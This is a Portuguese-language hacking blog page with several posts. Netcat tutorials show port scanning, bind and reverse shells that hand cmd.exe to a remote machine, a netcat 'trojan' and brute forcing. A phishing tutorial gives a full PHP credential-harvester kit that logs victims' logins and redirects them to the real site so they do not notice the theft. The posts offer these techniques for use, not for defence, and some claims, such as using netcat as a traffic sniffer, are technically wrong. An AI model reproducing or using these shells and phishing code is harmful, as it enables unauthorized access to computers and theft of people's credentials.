sexta-feira, 30 de março de 2012

NetCat - Escaneando Portas


Realizando um escaneamento de portas

Entre algumas das opções adicionais do programa, está a possibilidade de se fazer um scanner de portas , que consiste em procurar portas que, eventualmente estejam abertas em determinado computador. Na verdade ele realisará a função básica de um scanner de portas, que é sondá-las e verificar se estão ou não abertas. A sintaxe do comando é bem simples:
nc -vv [Endereço IP] [Intervalo de portas] "não considere os colchetes" 
Por exemplo, se eu queira verificar quais portas estão abertas num micro com o IP 192.168.1.2, faria da seguinte forma:

nc -vv 192.168.1.2 1-65535

Isso é apenas um exemplo, você pode utilizar um intervalo menor, ou então especificar apenas algumas portas a serem verificadas, separando-as por espaços:

nc -vv 192.168.1.2 21 23 25 80 110
A análise do resultado é simples. Se a porta estiver aberta, no final da linha aparecerá "open", caso contrário, será exibido "connection refused".

NetCat - Conexão Reversa


Acessando um shell remoto

Conexão direta

O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc...

O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.

No micro que será acessado, abra o prompt de comando e digite o seguinte código:

nc -L -p 14 -vv -e cmd.exe

No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema.

Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:

nc IPdoservidor 14

Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:

nc 192.168.1.2 14

Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.

Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:

telnet 192.168.1.2 14

Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc...

Conexão reversa

A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?

Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:

O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.

Na primeira digite:

nc -L -p 14 -vv

Este comando fará o programa escutar de modo avançado na porta 14.

E na segunda:
nc -L -p 15 -vv

O comando fará o mesmo que o anterior, mas escutará a porta 15.
Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:

nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15

Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:

nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15

Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro.

Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:

Tutorial sobre Phishing


Tenho postado sobre phishing e o atacante utilizando técnicas para espalhar seus sites de phishing. Agora, vamos ver como eles criam essas páginas de phishing em primeiro lugar com o passo-a-passo. O Conhecimento de PHP e HTML será muito útil para criar páginas de login falso



1- Selecione um site de destino e navegue até a página de login.

2- Salve a página inteira indo em Arquivo-> Salvar como .. (Estou fazendo isso no Firefox .)

3- Você terá agora um arquivo HTML e uma pasta cheia de imagens e talvez alguns arquivos JavaScript. Renomeie o arquivo HTML para index.html e crie um outro arquivo chamado lista.txt. Este arquivo de texto irá realizar as credenciais de login das vítimas.

4- Crie um arquivo PHP com o nome “phish.php“

5- Cole o seguinte código para o arquivo PHP (phish.php) que você já fez. Este código é o que leva os detalhes de login e os armazena no arquivo “lista.txt“, e depois redireciona para o site real. Desta forma, o usuário vai pensar que ele colocou as informações de login errado e terá êxito, a segunda vez que ele for tentar se logar o site se redirecionara para o site real. Fazendo assim com que a vitima nem perceba que seus dados foram roubados.

<?php
Header("Location: http://www.linkdositeoriginal.com");
$handle = fopen("lista.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

6. Agora temos que apontar o formulário de login no arquivo HTML para o arquivo PHP (phish.php). Localize o código do formulário no arquivo HTML e alterar o link de ação para o arquivo PHP e do tipo de método decomeçar assim que as informações apresentadas são passados através da URL. O código HTML deve começar com algo como isto:

<form action = sitelink ” . com o método = “GET”>

altere para:

<form action = http://www.site.com/phish.php ” . com o método = “GET”>

Ou:

<form action = phish.php ” . com o método = “GET”>

7. Quando tudo estiver concluído, faça o upload dos arquivos para um webhost gratuito que suporte PHP.

8. Você acabou de criar uma página de phishing.
Autor: Diablos 4-Ever

NetCat - O Canivete suiço do TCP/IP


Vamos dar uma olhada nos comandos do netcat, a opção -H exibe as opções do programa. Basta digitar nc -h e dar enter. Veremos os principais comandos do netcat:
l = Coloca uma porta em estado de listenning(escuta)

L = Coloca uma porta em listenning(escuta), reabrindo a porta caso ela feche

P = Define uma porta

V = ativa o recebimento de eco

U = utiliza o protocolo UDP ao invés de TCP

T = para se conectar a TELNET

O = Gera um log em formato hexadecimal

W = Determina um tempo máximo para aguardar uma reposta

E = Redireciona arquivos.

D = Coloca o netcat em modo furtivo, ou seja, permanece carregado em memória.


Bem, agora que já conhecemos os comandos mais usados do netcat vamos a pratica:

Colocando uma porta em escuta:

Nc -l -p 8080 isso faria com que o netcat colocasse a porta 8080 em escuta, note que foi usado -v para que fosse mostrado a saída do programa na tela “listening on [any] 8080 …“, caso a opção -v não fosse inserida este texto não seria mostrado.

Fazendo um Port-Scanner com o netcat:

nc -vv 127.0.0.1 1-6550 isso faz um scanner da porta 1 à 6550 mais você também pode selecionar as portas que deseja escanear dando um espaço entre os intervalos de portas a ser escaneados ex: nc -vv 127.0.0.1 21 80 23 79 25 isso faria um scanner nas portas 80, 23, 79 e 25.

Fazendo um trojan com o netcat:

Note que basta redirecionar todo o trafego de uma porta enviando a cmd.exe se for windows e bin/bash.sh se for UNIX a sintaxe é a seguinte em sistemas windows nc -L -p 1024 -e cmd.exe e nc -l -p 1024 -e bin/sh em UNIX.

Fazendo um ataque de brute force com o netcat:

O canivete suíço do TCP/IP tem muitas funções interessante uma delas é o brute force um exemplo: nc -vv 79 < c:\usuarios.txt > c:\log.txt note que você precisara de um arquivos com nome de usuários em c: e todo log será gravado em c:\log.txt para que você possa analisar depois. esse força bruta foi feita em cima da porta 79 FINGER mais poderia ser facilmente adaptada a outras portas.

Fazendo um sniffer com o netcat:
O fantástico netcat também pode servir como um sniffer e captura todo trafego em uma rede basta colocar nc -vv -L 127.0.0.1 -p 80 note que o L deve ser maiúsculo pois, esta opção reabre socketes fechados, isso fará com que o netcat capture todo trafego na porta 80 acho que nem é mais necessário dizer que podemos também gravar toda saída em um arquivo TXT, mais bem pra você que ainda não sacou a jogada ai vai nc -vv -L 127.0.0.1 -p 80 > c:\sniffer.txt

Autor: Diablos 4-Ever

Fonte: Desconhecida